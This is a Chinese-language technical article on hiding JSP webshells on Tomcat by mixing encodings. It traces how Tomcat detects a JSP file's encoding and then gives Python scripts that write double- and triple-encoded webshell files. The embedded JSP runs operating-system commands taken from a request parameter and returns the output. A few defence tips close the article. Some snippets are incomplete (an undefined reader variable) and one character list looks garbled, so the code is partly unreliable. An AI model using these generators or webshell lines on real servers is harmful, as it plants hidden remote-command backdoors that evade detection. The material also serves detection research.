浅谈JspWebshell之编码
字数 1309 2025-08-20 18:17:41
JSP Webshell编码技术深度解析
环境与基础概念
- 测试环境:Tomcat 8.0.50
- JSP本质:JSP是Servlet技术的扩展,本质上是一种模板,通过解析后转换为Java文件并最终编译为class文件
- 关键处理类:
org.apache.jasper.compiler.ParserController#determineSyntaxAndEncodingisXml:判断是否为XML格式sourceEnc:决定JSP文件编码
XML格式处理
- XML声明要求:
<?xml声明必须位于文件最前面才能正确解析encoding属性<?xml version="1.0" encoding="utf-8" ?> - XML格式识别:
- 通过后缀名
.jspx或.tagx - 文件内容包含
<xxx:root格式的文本
- 通过后缀名
编码识别机制
1. BOM(字节顺序标记)识别
Tomcat遵循W3C定义的XML编码识别规则:
- 有BOM则使用BOM定义的编码
- 无BOM则查看XML encoding声明
- 两者都没有则假定为UTF-8
关键代码:org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName
private Object[] getEncodingName(byte[] b4, int count) {
// 简化的BOM识别逻辑
if (b0 == 0xFE && b1 == 0xFF) return "UTF-16BE";
if (b0 == 0xFF && b1 == 0xFE) return "UTF-16LE";
if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) return "UTF-8";
// 其他编码识别...
}
2. 通过JSP指令识别
当无法通过BOM识别时,Tomcat会查找JSP指令中的编码声明:
格式一:
<%@ page language="java" pageEncoding="utf-16be"%>
<%@ page contentType="charset=utf-16be" %>
<%@ tag language="java" pageEncoding="utf-16be"%>
<%@ tag contentType="charset=utf-16be" %>
格式二:
<jsp:directive.page pageEncoding="utf-16be"/>
<jsp:directive.page contentType="charset=utf-16be"/>
<jsp:directive.tag pageEncoding="utf-16be"/>
<jsp:directive.tag contentType="charset=utf-16be"/>
注意:page后可以不加空格,如<%@ pagepageEncoding="utf-16be" %>
双编码Webshell技术
基本实现原理
利用XML声明和内容使用不同编码的特性:
a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
// 恶意代码
</jsp:scriptlet>
</jsp:root>'''
with open("test.jsp","wb") as f:
f.write(a0.encode("utf-16")) # 第一部分编码
f.write(a1.encode("cp037")) # 第二部分编码
可用编码组合
前置编码必须是XMLEncodingDetector#getEncodingName能识别的编码:
- UTF-8
- UTF-16BE
- UTF-16LE
- ISO-10646-UCS-4
- CP037
后置编码可以是Java支持的任何编码
关键注意事项
-
长度对齐问题:前置部分编码后的长度必须与后置编码的字节单位对齐
- 例如UTF-16是2字节编码,前置部分长度必须是偶数
- 否则会导致
<xxx:root识别失败
-
指令位置灵活性:
<%@或<jsp:directive.可以出现在文件任意位置a0 = '''<% Process p =Runtime.getRuntime().exec(request.getParameter("y4tacker")); String line = "''' a1 = '''<%@ page pageEncoding="UTF-16BE"%>''' a2 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); }%>''' with open("test.jsp","wb") as f: f.write(a0.encode("utf-16be")) f.write(a1.encode("utf-8")) f.write(a2.encode("utf-16be"))
三重编码Webshell技术
通过组合多种编码识别机制实现更复杂的混淆:
- 确保无法通过BOM识别(isBomPresent为false)
- 通过
<?xml encoding='xxx'设置初始编码 - 在任意位置放置
<jsp:directive.或<%@指令 - 通过指令的pageEncoding属性再次改变编码
示例:
a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<% Process p =Runtime.getRuntime().exec(request.getParameter("y4tacker")); String line = "'''
a2 = '''<%@ page pageEncoding="UTF-16BE"%>'''
a3 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); }%>'''
with open("test3.jsp","wb") as f:
f.write(a0.encode("utf-8"))
f.write(a1.encode("utf-16be"))
f.write(a2.encode("cp037"))
f.write(a3.encode("utf-16be"))
其他技术细节
-
空格处理差异:
- XML头解析使用
XMLChar#isSpace:识别\x0d、\x0a9、\x0a、\x0d - JSP指令解析使用
JspReader#isSpace:识别所有小于\x20的字符
- XML头解析使用
-
版本差异:不同Tomcat版本在编码处理上可能有细微差别,需针对性测试
防御建议
- 禁用JSP上传功能
- 对上传文件进行内容检查
- 使用安全产品检测双编码/多编码文件
- 限制Tomcat的解析能力,如禁用XML格式JSP解析